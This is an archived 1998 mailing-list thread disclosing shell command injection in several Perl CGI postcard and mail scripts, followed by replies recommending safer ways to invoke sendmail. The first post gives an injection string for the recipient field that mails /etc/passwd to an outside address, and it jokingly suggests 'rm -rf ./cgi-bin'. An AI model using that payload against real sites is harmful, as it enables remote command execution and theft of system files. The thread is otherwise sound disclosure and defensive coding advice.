Hackers Handbook - Millenium Edition/Hackers Handbook.iso/library/hack/www-cgi-vulner.txt

Internet Message Format | 1998-11-21 | 5.9 KB

Date: Mon, 9 Nov 1998 18:26:05 -0600
From: xnec <[e-mail]>
To: [e-mail]
Subject: Several new CGI vulnerabilities

INFO:
        After looking over the perl-CGI scripts on www.cgi-resources.com,
I've discovered vulnerabilities in the following:

1. HAMcards Postcard script v1.0 Beta 2
   (www.hamnetcenter.com)

2. Hot Postal Services v??
   (www.hotarea.com)
   note: the only metacharacter stripping this script does is rejecting
         any |'s

3.  RC Bowen's Postcards v??
    (www.rcbowen.com)

4. LakeWeb's File Mail and Mail List (expanded File Mail) v??
    (www.lakeweb.com)

EXPLOIT:

Each of these are exploitable by inputing metacharacters into the
recipient's email address.  Each script calls something similar
to:

 open( MAIL, "|$mailprog $email" )
 # this particular line is from the LakeWeb scripts

The exploit strings are simple, something like
&mail [e-mail] < /etc/passwd&@host.com will work for each script
(the @host.com is necessary because some hosts check for "@" and ".")
when placed in the Recipient Email field.

As a result, any command can be executed remotely without a local
account with the uid of the webserver (usually "nobody" or similar,
but you never know).

FIX:
Either fork your sendmail process, strip out metacharacters (or only allow
certian characters), use open (MAIL , "|$sendmail -t") or rm -rf
./cgi-bin.

                 -xnec

######################################################
# [e-mail] - xnec on DALnet and EFnet#
######################################################


-------------------------------------------------------------

Date: Tue, 10 Nov 1998 18:45:24 +1000
From: Karl Hanmore <[e-mail]>
To: [e-mail]
Subject: Re: Several new CGI vulnerabilities

G'day,
        As a related note, the WebCards program (V1.6) by Sam Kareem
([e-mail]) is subject to the same vunerability.

Regards,
        Karl


-------------------------------------------------------------

Date: Mon, 9 Nov 1998 19:45:28 -0700
From: Randal Schwartz <[e-mail]>
To: [e-mail]
Subject: Re: Several new CGI vulnerabilities

>>>>> "xnec" == xnec  <[e-mail]> writes:

xnec> Either fork your sendmail process, strip out metacharacters (or
xnec> only allow certian characters),

You cannot restrict the permitted characters of an email address.
*Any* character is permitted on the left-side of an @, presuming
the proper quoting is used for those more odd ones.

For example, <fred&[e-mail]> is a perfectly valid
email address (try it, an autoresponder responds!).

xnec>  use open (MAIL , "|$sendmail -t") or rm -rf
xnec> ./cgi-bin.

Or use Net::SMTP to pass the data directly to port 25.

--
Name: Randal L. Schwartz / Stonehenge Consulting Services [phone]
Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
Email: <[e-mail]> Snail: (Call) PGP-Key: (finger [e-mail])
Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me

-------------------------------------------------------------

Date: Tue, 10 Nov 1998 14:44:23 +0000
From: Gus <[e-mail]>
To: [e-mail]
Subject: Re: Several new CGI vulnerabilities

On Mon, 9 Nov 1998, xnec wrote:
>
> EXPLOIT:
>
> Each of these are exploitable by inputing metacharacters into the
> recipient's email address.  Each script calls something similar
> to:
>
>  open( MAIL, "|$mailprog $email" )

This is one that just won't go away, and rather than try the (frankly
quite fruitless) metachar filtering route, it might be an idea for CGI
providing ISP's to insist on the use of perl's Mail::Sendmail module,
which cuts out any potential pipe/metachar related bugs by communicating
directly w/ the SMTP server.


$LOCAL_CPAN_MIRROR/authors/id/M/MI/MIVKOVIC/Mail-Sendmail-0.74.tar.gz

See http://www.perl.com/CPAN for a list of mirror sites.


Regards
        Gus


--
                                [e-mail]
                          http://www.intasys.com/~angus/

-------------------------------------------------------------

Date: Tue, 10 Nov 1998 14:43:27 -0500
From: Lincoln Stein <[e-mail]>
To: [e-mail]
Subject: Re: Several new CGI vulnerabilities

Gus writes:
 > On Mon, 9 Nov 1998, xnec wrote:
 > >
 > > EXPLOIT:
 > >
 > > Each of these are exploitable by inputing metacharacters into the
 > > recipient's email address.  Each script calls something similar
 > > to:
 > >
 > >  open( MAIL, "|$mailprog $email" )
 >
 > This is one that just won't go away, and rather than try the (frankly
 > quite fruitless) metachar filtering route, it might be an idea for CGI
 > providing ISP's to insist on the use of perl's Mail::Sendmail module,
 > which cuts out any potential pipe/metachar related bugs by communicating
 > directly w/ the SMTP server.

Net::SMTP is more likely to be installed on ISP's
machines. Mail::Sendmail is a bit of an oddball.  There are also other
ways to avoid the fruitless metachar search and destroy mission.
First off, why do people think they need to put the recipient's
address on the command line in the first place?

   open (MAIL,"| /usr/lib/sendmail -t -oi");
   print MAIL <<END;
   To: $mailto
   From: me (me\@nowhere.com)
   Subject: nothing much

   Hi there!
   END
   close MAIL;

And here's a general Perl technique for opening pipes without getting
the shell involved at all:

   open (MAIL,"|-") || exec '/usr/lib/sendmail','-t','-oi';
   print MAIL <<END;
   To: $mailto
   From: me (me\@nowhere.com)
   Subject: nothing much

   Hi there!
   END
   close MAIL;

Lincoln

--
========================================================================
Lincoln D. Stein                           Cold Spring Harbor Laboratory
[e-mail]                                   Cold Spring Harbor, NY
========================================================================